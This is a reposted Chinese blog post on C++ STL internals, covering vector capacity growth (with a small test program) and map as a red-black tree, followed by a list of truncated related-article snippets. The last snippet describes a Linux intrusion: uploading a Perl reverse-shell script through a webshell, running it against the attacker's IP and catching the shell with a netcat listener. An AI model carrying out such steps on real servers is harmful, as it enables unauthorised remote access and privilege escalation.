C++ STL的基本基本原理

STL都是在内存的堆区分配的,但是其析构也是STL帮我们做好的,不用手动去delete。

1.vector

  逻辑地址连续的一片内存空间,当空间不足,重新申请新的地址空间,将原有的数据复制过去,而新的地址空间的大小C++没有规定,依赖于编译器的实现。在VC++中是原来的1.5倍,而g++中则是原来的2倍。

  关于这一点可以从简单的实验来验证,vector的capacity成员函数返回vector实际申请的空间大小,可以通过不断向vector中插入100个数据,观察capacity的大小变化情况来判断数据的整张情况。代码如下:

#include<iostream>
#include<vector>
using namespace std;
int main() {vector<int> vec;for (int i = 0; i<100; i++) {vec.push_back(i);cout << "capacity is " << vec.capacity() << endl;}
}

下图左右分别是在VS2015和g++ 4.8的运行结果图,可以发现证实了我们之前的说法:当内存空间不足时新分配的内存空间在VC++下是原来的1.5倍,在g++下是原来的2倍。

 

 

 

2.map

  底层红黑树,有较快的查找插入删除速度,均为O(lgn)时间复杂度。另外红黑树结构决定了其不能同时插入两个key值一样的节点,而是会被直接丢弃掉,也就是插不进去。这一点可以从其是平衡二叉树的性质看出来。

转载于:https://www.cnblogs.com/shenshenlei/p/5528426.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261218.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iOS 修改项目名称

2019独角兽企业重金招聘Python工程师标准>>> 1. [代码]iOS 修改项目名称 1 2. [图片] 1.png 3. [图片] 2.png 4. [图片] 3.png 5. [图片] 4.png 6. [图片] 5.png 转载于:https://my.oschina.net/5951008876/blog/681857

java wait源码_Java精通并发-透过openjdk源码分析wait与notify方法的本地实现

上一次https://www.cnblogs.com/webor2006/p/11442551.html中通过openjdk从c的底层来审视了ObjectMonitor的底层实现&#xff0c;这次继续来探究底层&#xff0c;对于wait()和notify()的底层细节到底是啥样的呢&#xff1f;下面还是先来到openjdk中来打开ObjectMonitor.hpp&…

listActivity和ExpandableListActivity的简单用法

今天自己简单的总结了listActivity和ExpandableListActivity二者的简单用法。 首先&#xff0c;先说一下listActivity的用法&#xff1a; ListActivity是一个绑定到一个数据源&#xff0c;并且用来显示这一串数据的Activity。ListActivity拥有一个listview对象来实现数据源的绑…

搭建git for windows服务器(100%可以成功)【转】

转自&#xff1a;http://blog.csdn.net/code_style/article/details/38764203 既然Git在linux下面非常好用&#xff0c;为什么还要搭建git windows的服务器&#xff0c;因为不是所有的用户都需要在linux下面做开发&#xff0c;对吧&#xff0c;还有很多用户选择使用windows做开…

【转】高性能WEB开发系列之重绘与回流

原文转载&#xff1a;http://www.cnblogs.com/wangzhichao/archive/2011/05/16/2047633.html页面呈现流程 在讨论页面重绘、回流之前。需要对页面的呈现流程有些了解&#xff0c;页面是怎么把html结合css等显示到浏览器上的&#xff0c;下面的流程图显示了浏览器对页面的呈现的…

[数据结构与算法] 单链表的简单demo

Vc6之下编译通过。。 1 /*******************************************************2 * : Project: 单链表数据结构演示3 * : File: link_list.h4 * : Function&#xff1a; 提供单链表操作的数据结构定义及方法声明5 * : History: 2013-10-01 22:37:056 * : Auth…

c++ 17介绍

作者&#xff1a;hearts zh链接&#xff1a;https://www.zhihu.com/question/32222337/answer/55238928来源&#xff1a;知乎著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。其实现在的proposal很多很多&#xff0c;不出意外也会有相当一部分…

“高考”机器人横空出世 2017年居然要考“大学”

文/辛东方&#xff0c;80后作家、专栏作者、专注互联网科技领域人工智能的发展&#xff0c;科学技术的全力配合&#xff0c;已经把人类的智慧实实在在的体现到了智能化设备上。按照目前的发展速度&#xff0c;人工智能要想真正突破技术难关&#xff0c;达到进一步的智能化&…

谁说菜鸟不会数据分析--数据分析那些事儿

一、数据分析是“神马” 1、 何谓数据分析 简单来说&#xff0c;数据分析就是对数据进行分析&#xff0c;较为专业的说法&#xff0c;数据分析是指用适当的统计分析方法对收集来的大量数据进行分析&#xff0c;将它们加以汇总、理解并消化&#xff0c;以求最大化地开发数据的功…

优集品 php,从细节处着眼 优集品打造成人世界的儿童节

在各大电商企业仍旧在史上最大规模的价格战中拼的不可开交之时&#xff0c;重视用户体验度&#xff0c;以商品传递生活理念而知名的全球优选设计百货--LivePort优集品(http://www.liveport.cn/)&#xff0c;已然细心的为眼下即将来临的六一儿童节策划了一餐盛宴&#xff0c;为追…

java中ssm付款代码,ssm实现支付宝支付功能(图文详解)

目录1、支付宝沙箱环境测试2、支付宝整合到ssm环境3、微信支付整合到ssm环境一、支付宝测试环境代码测试1.下载电脑网站的官方demo&#xff1a;2.下载解压导入eclipsereadme.txt请好好看一下。只有一个Java配置类&#xff0c;其余都是JSP。3.配置AlipayConfig(1).注册蚂蚁金服开…

获取android手机的屏幕分辨率 android开发

2019独角兽企业重金招聘Python工程师标准>>> /** * 获取屏幕分辨率 */ private void getResolution() { // TODO Auto-generated method stub Display display getWindowManager().getDefaultDisplay(); DisplayMetrics displayMetrics new DisplayMetrics(); dis…

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html

Python线程指南 ---转自 http://www.cnblogs.com/huxi/archive/2010/06/26/1765808.html 本文介绍了Python对于线程的支持&#xff0c;包括“学会”多线程编程需要掌握的基础以及Python两个线程标准库的完整介绍及使用示例。 注意&#xff1a;本文基于Python2.4完成&#xff0c…

有的日期输入框,可直接调用javascripts

转载于:https://www.cnblogs.com/rf-bear/p/5549126.html

TigerDLNA for ios 集成Tlplayer

好久没有写博客了&#xff0c;这次带着TigerDLNA for ios 跟大家见面 什么都不说先上图 1.优点 优点由于libTigerDLNA使用uiview封装&#xff0c;所以大家可以很方便的集成到自己的项目中。由于集成了tlplayer当然也可以只是作为一个播放器来使用&#xff0c;支持各种网络协议。…

Android——Fragment实例精讲——底部导航栏+ViewPager滑动切换页面

说明&#xff1a; 实现效果&#xff1a; 1- 用ViewPager实现Fragmen之间的切换 2- 底部用RadioGroup实现&#xff0c;更方便的实现图片和字体颜色的改变&#xff0c;更方便的通过RadioButton的点击事件来控制页面切换 原文地址&#xff1a;http://www.runoob.com/w3cnote/andro…

springmvc错误 Spring3.X jdk8 java.lang.IllegalArgumentException

最近在学习springmvc--碰到一个特别蛋疼的错误 javax.servlet.ServletException: Servlet.init() for servlet springMVC threw exceptionorg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504)org.apache.catalina.valves.ErrorReportValv…

axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

随着互联网的发展&#xff0c;各种网站技术以及网站的呈现技术层出不穷&#xff0c;网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用&#xff0c;页面内容的切换不再需要进行页面的跳转了&#xff0c;使用起来更加舒适。功能在变化&#xff0c;技术在变迁&…

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…